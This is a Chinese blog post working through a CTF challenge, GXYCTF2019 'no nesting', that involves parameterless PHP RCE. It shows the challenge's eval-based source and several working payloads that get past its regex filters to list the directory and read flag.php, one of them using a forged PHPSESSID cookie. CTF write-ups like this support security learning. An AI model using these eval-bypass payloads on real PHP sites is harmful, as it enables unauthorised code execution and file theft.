[GXYCTF2019]禁止套娃 无参数RCE

复现一下buuctf上的[GXYCTF2019]禁止套娃

BUUCTF增设了waf 所以fuzz都不能用了..

Git泄露,不知道为啥我的GitHack扫不到呢?(头大)

 

 

 

 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
//禁用了伪协议
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//递归匹配?R 详细讲解,但是没明白为啥可以检测括号里的内容
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
//仅用了函数关键字
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

先熟悉几个PHP函数:

scandir() 扫描目录
localeconv() 返回本地数字及货币信息数组
current() 返回数组中当前元素值
next() 指向下一个数组元素,并输出

 

payload:?exp=print_r(scandir(current(localeconv())));//遍历当前目录所有文件,得知flag.php在当前目录下

 

 

 

熟悉几个PHP数组函数

array_rand() 从数组中随机取出一个或多个单元
array_flip() 交换数组键和值
array_reverse() 相反顺序返回数组

payload1:
?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));
//没理解为啥要交换键值

ctf中常见的PHP输出函数

readfile() 读取一个文件写入输出缓冲
highlight_file() 高亮度打印文件
show_source() 对文件进行高亮显示,读文件内容
get_file_contents() 把文件读入一个字符串

 

//笔者思路多用两个next()就能指向flag了,可事实并非。后来在本地测试执行,下一个就会自动跳到下一个键值,可在题目中好像并不能实现

 

 这个时候就需要用到上面所贴的array_reverse()了

故payload2:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

 

下面还学习了师傅的另外一个思路不得不说 tql

session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:

 

 

 

posted @ 2020-08-13 16:53  何以为春  阅读(305)  评论(0编辑  收藏  举报